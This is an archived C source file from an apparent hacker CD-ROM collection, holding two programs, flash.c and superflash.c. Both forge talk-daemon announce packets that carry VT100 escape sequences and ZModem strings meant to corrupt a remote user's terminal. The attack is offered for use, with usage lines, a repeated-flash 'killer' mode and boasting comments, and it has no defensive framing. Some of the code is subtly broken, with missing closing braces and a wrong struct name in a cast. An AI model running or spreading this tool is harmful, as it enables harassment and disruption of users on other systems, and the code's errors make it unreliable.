home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / flash.c < prev    next >
Encoding:
C/C++ Source or Header  |  2001-11-06  |  13.1 KB  |  508 lines

  1. /* flash.c */
  2.  
  3. /* This little program is intended to quickly mess up a user's
  4.    terminal by issuing a talk request to that person and sending
  5.    vt100 escape characters that force the user to logout or kill
  6.    his/her xterm in order to regain a sane view of the text.
  7.    It the user's message mode is set to off (mesg n) he/she will
  8.    be unharmed. 
  9.    This program is really nasty :-)
  10.  
  11.    Usage: flash user@host
  12.  
  13.    try compiling with: gcc -o flash flash.c
  14. */
  15.  
  16.  
  17. #include <sys/types.h>
  18. #include <sys/socket.h>
  19. #include <netinet/in.h>
  20. #include <netdb.h>
  21. #include <stdio.h>
  22. #include <strings.h>
  23.  
  24. /* this should really be in an include file..  */
  25.  
  26. #define OLD_NAME_SIZE 9
  27. #define NAME_SIZE    12
  28. #define TTY_SIZE     16 
  29. typedef struct {
  30.         char    type;
  31.         char    l_name[OLD_NAME_SIZE];
  32.         char    r_name[OLD_NAME_SIZE];
  33.         char    filler;
  34.         u_long  id_num;
  35.         u_long  pid;
  36.         char    r_tty[TTY_SIZE];
  37.         struct  sockaddr_in addr;
  38.         struct  sockaddr_in ctl_addr;
  39. } OLD_MSG;
  40.  
  41. typedef struct {
  42.         u_char  vers;
  43.         char    type;
  44.         u_short filler;
  45.         u_long  id_num;
  46.         struct  sockaddr_in addr;
  47.         struct  sockaddr_in ctl_addr;
  48.         long    pid;
  49.         char    l_name[NAME_SIZE];
  50.         char    r_name[NAME_SIZE];
  51.         char    r_tty[TTY_SIZE];
  52. } CTL_MSG;
  53.  
  54. #define TALK_VERSION    1               /* protocol version */
  55.  
  56. /* Types */
  57. #define LEAVE_INVITE    0
  58. #define LOOK_UP         1
  59. #define DELETE          2
  60. #define ANNOUNCE        3
  61.  
  62. int    current = 1;     /* current id..  this to avoid duplications */
  63.  
  64. struct sockaddr_in *getinaddr(char *hostname, u_short port)
  65. {
  66. static  struct sockaddr    addr;
  67. struct  sockaddr_in *address;
  68. struct  hostent     *host;
  69.  
  70. address = (struct sockaddr_in *)&addr;
  71. (void) bzero( (char *)address, sizeof(struct sockaddr_in) );
  72. /* fill in the easy fields */
  73. address->sin_family = AF_INET;
  74. address->sin_port = htons(port);
  75. /* first, check if the address is an ip address */
  76. address->sin_addr.s_addr = inet_addr(hostname);
  77. if ( (int)address->sin_addr.s_addr == -1)
  78.         {
  79.         /* it wasn't.. so we try it as a long host name */
  80.         host = gethostbyname(hostname);
  81.         if (host)
  82.                 {
  83.                 /* wow.  It's a host name.. set the fields */
  84.                 /* ?? address->sin_family = host->h_addrtype; */
  85.                 bcopy( host->h_addr, (char *)&address->sin_addr,
  86.                         host->h_length);
  87.                 }
  88.         else
  89.                 {
  90.                 /* oops.. can't find it.. */
  91.         puts("Couldn't find address"); 
  92.         exit(-1);
  93.                 return (struct sockaddr_in *)0;
  94.                 }
  95.         }
  96. /* all done. */
  97. return (struct sockaddr_in *)address;
  98. }
  99.  
  100. SendTalkPacket(struct sockaddr_in *target, char *p, int psize) 
  101. {
  102. int     s;
  103. struct sockaddr sample; /* not used.. only to get the size */
  104.  
  105. s = socket(AF_INET, SOCK_DGRAM, 0);
  106. sendto( s, p, psize, 0,(struct sock_addr *)target, sizeof(sample) ); 
  107.  
  108.  
  109. new_ANNOUNCE(char *hostname, char *remote, char *local)
  110. {
  111. CTL_MSG     packet; 
  112. struct   sockaddr_in  *address;
  113.  
  114. /* create a packet */
  115. address = getinaddr(hostname, 666 );  
  116. address->sin_family = htons(AF_INET); 
  117.  
  118. bzero( (char *)&packet, sizeof(packet) );
  119. packet.vers   = TALK_VERSION; 
  120. packet.type   = ANNOUNCE;   
  121. packet.pid    = getpid();
  122. packet.id_num = current;
  123. bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) ); 
  124. bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
  125. strncpy( packet.l_name, local, NAME_SIZE); 
  126. strncpy( packet.r_name, remote, NAME_SIZE); 
  127. strncpy( packet.r_tty, "", 1); 
  128.  
  129. SendTalkPacket( getinaddr(hostname, 518), (char *)&packet, sizeof(packet) ); 
  130. }
  131.  
  132. old_ANNOUNCE(char *hostname, char *remote, char *local)
  133. {
  134. OLD_MSG  packet;
  135. struct   sockaddr_in  *address;
  136.  
  137. /* create a packet */
  138. address = getinaddr(hostname, 666 );
  139. address->sin_family = htons(AF_INET);
  140.  
  141. bzero( (char *)&packet, sizeof(packet) );
  142. packet.type   = ANNOUNCE;
  143. packet.pid    = getpid();
  144. packet.id_num = current;
  145. bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) );
  146. bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
  147. strncpy( packet.l_name, local, NAME_SIZE);
  148. strncpy( packet.r_name, remote, NAME_SIZE);
  149. strncpy( packet.r_tty, "", 1);
  150.  
  151. SendTalkPacket( getinaddr(hostname, 517), (char *)&packet, sizeof(packet) );
  152. }
  153.  
  154. main(int argc, char *argv[])
  155. {
  156.     char    *hostname, *username; 
  157.     int    pid;
  158.  
  159.     if ( (pid = fork()) == -1)  
  160.          {
  161.         perror("fork()");
  162.         exit(-1);
  163.         }
  164.     if ( !pid )
  165.         {
  166.         exit(0);
  167.         }
  168.     if (argc < 2) { 
  169.         puts("Usage: <finger info> ");
  170.         exit(5);
  171.     }
  172.      username = argv[1]; 
  173.     if ( (hostname = (char *)strchr(username, '@')) == NULL )    
  174.         {
  175.         puts("Invalid name.  ");
  176.         exit(-1);
  177.         }
  178.         *hostname = '\0'; 
  179.     hostname++; 
  180.  
  181.     if (*username == '~') 
  182.         username++; 
  183.  
  184. #define FIRST "\033c\033(0\033#8" 
  185. #define SECOND "\033[1;3r\033[J"
  186. #define THIRD  "\033[5m\033[?5h"
  187.     new_ANNOUNCE(hostname, username, FIRST);
  188.     old_ANNOUNCE(hostname, username, FIRST);
  189.     current++; 
  190.     new_ANNOUNCE(hostname, username, SECOND);
  191.     new_ANNOUNCE(hostname, username, SECOND);
  192.     current++;
  193.     new_ANNOUNCE(hostname, username, THIRD); 
  194.      old_ANNOUNCE(hostname, username, THIRD);
  195. }
  196.  
  197.  
  198.  
  199.  
  200.  
  201.  
  202. -------------------------------------------------------------------------
  203.  
  204.  
  205. /* superflash.c */
  206.  
  207. /* 
  208.    - Modified from the original a very, very little bit by Vassago
  209.    - to add the ZModem Start Strings, and make it flash 7 times.    
  210. */
  211.  
  212. /* This little program is intended to quickly mess up a user's
  213.    terminal by issuing a talk request to that person and sending
  214.    vt100 escape characters that force the user to logout or kill
  215.    his/her xterm in order to regain a sane view of the text.
  216.    It the user's message mode is set to off (mesg n) he/she will
  217.    be unharmed. 
  218.    This program is really nasty :-)
  219.  
  220.    Usage: flash user@host
  221.  
  222.    try compiling with: gcc -o flash flash.c
  223. */
  224.  
  225. /* Changes: 
  226.  
  227.      Allow several types of flash. Usage: flash user@host [level]
  228.         where level is either the number or the word for these:
  229.         1 - BASIC  - Old flash, no zmodem, just the nuke strings.
  230.         2 - ZMODEM - Old with ZModem.
  231.         3 - KILLER - 99 ZModem flashes. Should keep someone's term 
  232.                 occupied for a while. WARNING: DONT FLASH ROOT with 
  233.                 this shit. This leaves a trail a mile wide.
  234.  
  235. */
  236.  
  237. #include <sys/types.h>
  238. #include <sys/socket.h>
  239. #include <netinet/in.h>
  240. #include <netdb.h>
  241. #include <stdio.h>
  242. #include <strings.h>
  243. #include <string.h>
  244. #include <ctype.h>
  245.  
  246. #define BASIC  1
  247. #define ZMODEM 2
  248. #define KILLER 3
  249.  
  250. #define FIRST "\033(0\033#8" 
  251. #define SECOND "\033[1;3r\033[5i"
  252. #define THIRD  "\033[1;5m\033(0"
  253. #define FOURTH "**\030B00"
  254. #define FIFTH  "\033**EMSI_IRQ8E08"
  255.  
  256. /* Uncomment this for a debugging message... */
  257. #define INFOMESSAGE 
  258.  
  259. /* this should really be in an include file..  */
  260.  
  261. #define OLD_NAME_SIZE 9
  262. #define NAME_SIZE    12
  263. #define TTY_SIZE     16 
  264. typedef struct {
  265.         char    type;
  266.         char    l_name[OLD_NAME_SIZE];
  267.         char    r_name[OLD_NAME_SIZE];
  268.         char    filler;
  269.         u_long  id_num;
  270.         u_long  pid;
  271.         char    r_tty[TTY_SIZE];
  272.         struct  sockaddr_in addr;
  273.         struct  sockaddr_in ctl_addr;
  274. } OLD_MSG;
  275.  
  276. typedef struct {
  277.         u_char  vers;
  278.         char    type;
  279.         u_short filler;
  280.         u_long  id_num;
  281.         struct  sockaddr_in addr;
  282.         struct  sockaddr_in ctl_addr;
  283.         long    pid;
  284.         char    l_name[NAME_SIZE];
  285.         char    r_name[NAME_SIZE];
  286.         char    r_tty[TTY_SIZE];
  287. } CTL_MSG;
  288.  
  289. int seed = 0x2837;
  290.  
  291. #define TALK_VERSION    1               /* protocol version */
  292.  
  293. /* Types */
  294. #define LEAVE_INVITE    0
  295. #define LOOK_UP         1
  296. #define DELETE          2
  297. #define ANNOUNCE        3
  298.  
  299. int     current = 1;    /* current id..  this to avoid duplications */
  300.  
  301. struct sockaddr_in *getinaddr(char *hostname, u_short port)
  302. {
  303. static  struct sockaddr    addr;
  304. struct  sockaddr_in *address;
  305. struct  hostent     *host;
  306.  
  307. address = (struct sockaddr_in *)&addr;
  308. (void) bzero( (char *)address, sizeof(struct sockaddr_in) );
  309. /* fill in the easy fields */
  310. address->sin_family = AF_INET;
  311. address->sin_port = htons(port);
  312. /* first, check if the address is an ip address */
  313. address->sin_addr.s_addr = inet_addr(hostname);
  314. if ( (int)address->sin_addr.s_addr == -1)
  315.         {
  316.         /* it wasn't.. so we try it as a long host name */
  317.         host = gethostbyname(hostname);
  318.         if (host)
  319.                 {
  320.                 /* wow.  It's a host name.. set the fields */
  321.                 /* ?? address->sin_family = host->h_addrtype; */
  322.                 bcopy( host->h_addr, (char *)&address->sin_addr,
  323.                         host->h_length);
  324.                 }
  325.         else
  326.                 {
  327.                 /* oops.. can't find it.. */
  328.                 puts("Couldn't find address"); 
  329.                 exit(-1);
  330.                 return (struct sockaddr_in *)0;
  331.                 }
  332.         }
  333. /* all done. */
  334. return (struct sockaddr_in *)address;
  335. }
  336.  
  337. SendTalkPacket(struct sockaddr_in *target, char *p, int psize) 
  338. {
  339. int     s;
  340. struct sockaddr sample; /* not used.. only to get the size */
  341.  
  342. s = socket(AF_INET, SOCK_DGRAM, 0);
  343. sendto( s, p, psize, 0,(struct sock_addr *)target, sizeof(sample) ); 
  344.  
  345.  
  346. new_ANNOUNCE(char *hostname, char *remote, char *local)
  347. {
  348. CTL_MSG  packet; 
  349. struct   sockaddr_in  *address;
  350.  
  351. /* create a packet */
  352. address = getinaddr(hostname, 666 );  
  353. address->sin_family = htons(AF_INET); 
  354.  
  355. bzero( (char *)&packet, sizeof(packet) );
  356. packet.vers   = TALK_VERSION; 
  357. packet.type   = ANNOUNCE;   
  358. packet.pid    = getpid();
  359. packet.id_num = current;
  360. bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) ); 
  361. bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
  362. strncpy( packet.l_name, local, NAME_SIZE); 
  363. strncpy( packet.r_name, remote, NAME_SIZE); 
  364. strncpy( packet.r_tty, "", 1); 
  365.  
  366. SendTalkPacket( getinaddr(hostname, 518), (char *)&packet, sizeof(packet) ); 
  367. }
  368.  
  369. old_ANNOUNCE(char *hostname, char *remote, char *local)
  370. {
  371. OLD_MSG  packet;
  372. struct   sockaddr_in  *address;
  373.  
  374. /* create a packet */
  375. address = getinaddr(hostname, 666 );
  376. address->sin_family = htons(AF_INET);
  377.  
  378. bzero( (char *)&packet, sizeof(packet) );
  379. packet.type   = ANNOUNCE;
  380. packet.pid    = getpid();
  381. packet.id_num = current;
  382. bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) );
  383. bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
  384. strncpy( packet.l_name, local, NAME_SIZE);
  385. strncpy( packet.r_name, remote, NAME_SIZE);
  386. strncpy( packet.r_tty, "", 1);
  387.  
  388. SendTalkPacket( getinaddr(hostname, 517), (char *)&packet, sizeof(packet) );
  389. }
  390.  
  391. int rnd()
  392. {
  393.   seed *=0x1243;
  394.   seed = seed & 0xFFFF;
  395.   seed +=1;
  396.   while(seed>10000)seed-=10000;
  397.   return(seed);
  398. }
  399.  
  400.  
  401. pop(char *hostname, char *username, char *flashstring)
  402. {
  403.   char newflashstr[80];
  404.   int e = rnd();
  405.   sprintf(newflashstr,"%d%s",e,flashstring);    
  406.   new_ANNOUNCE(hostname, username, newflashstr); 
  407.   old_ANNOUNCE(hostname, username, newflashstr);
  408. }       
  409.  
  410. flash(int type, char *hostname, char *username)
  411. {
  412.       char firestring[10];
  413.       int x,y;
  414.  
  415.       current=0;
  416.       if (type == 3) y = 14;
  417.       else y = 1;
  418.  
  419.       for(x=0;x<y;x++)    
  420.       {
  421.         current++;
  422.         pop(hostname, username, FIRST);
  423.         current++; 
  424.         pop(hostname, username, SECOND);
  425.         current++;
  426.         pop(hostname, username, THIRD); 
  427.         if(type>1)
  428.         {
  429.           current++;
  430.           pop(hostname, username, FOURTH); 
  431.           current++;
  432.           pop(hostname, username, FIFTH); 
  433.           current++;
  434.           pop(hostname, username, FOURTH);
  435.         }
  436.         current++;
  437.         pop(hostname, username, FIRST); 
  438.       }
  439.     return(current);
  440. }
  441.  
  442. GetType(char *TypeStr)
  443. {
  444.         if (strcmp(TypeStr,"basic")==0)
  445.                 return(1);
  446.         else if (strcmp(TypeStr,"zmodem")==0)
  447.                 return(2);
  448.         else if (strcmp(TypeStr,"killer")==0)
  449.                 return(3);
  450.         else if (strcmp(TypeStr,"1")==0)
  451.                 return(1);
  452.         else if (strcmp(TypeStr,"2")==0)
  453.                 return(2);
  454.         else if (strcmp(TypeStr,"3")==0)
  455.                 return(3);
  456. }       
  457.  
  458. main(int argc, char *argv[])
  459. {
  460.         char    *hostname, *username; 
  461.         int     pid,type,name;
  462.  
  463.  
  464.         if ( (pid = fork()) == -1)  
  465.                 {
  466.                 perror("fork()");
  467.                 exit(-1);
  468.                 }
  469.         if ( !pid )
  470.                 {
  471.                 exit(0);
  472.                 }
  473.         if (argc < 2) { 
  474.                 puts("Usage: <finger info> ");
  475.                 exit(5);
  476.         }
  477.         if (argc >= 3) {
  478.                 type=GetType(argv[argc-1]);
  479.                 if(type<1||type>3)type=ZMODEM;
  480.         }
  481.         else type=ZMODEM;       /* default */
  482.  
  483.         for(name=1; name<argc-1; name++)
  484.         {
  485.         username = argv[name]; 
  486.         if ( (hostname = (char *)strchr(username, '@')) == NULL )       
  487.                 {
  488.                 puts("Invalid name.  ");
  489.                 exit(-1);
  490.                 }
  491.         *hostname = '\0'; 
  492.         hostname++; 
  493.  
  494.         if (*username == '~') 
  495.                 username++; 
  496. #ifdef INFOMESSAGE
  497.         printf("Sending a type #%d flash to %s@%s. (%d messages)\n",
  498.                         type,username,hostname,
  499.                         flash(type,hostname,username));
  500. #else
  501.         flash(type,hostname,username);
  502. #endif
  503.         sleep(1);
  504.         }
  505. }
  506.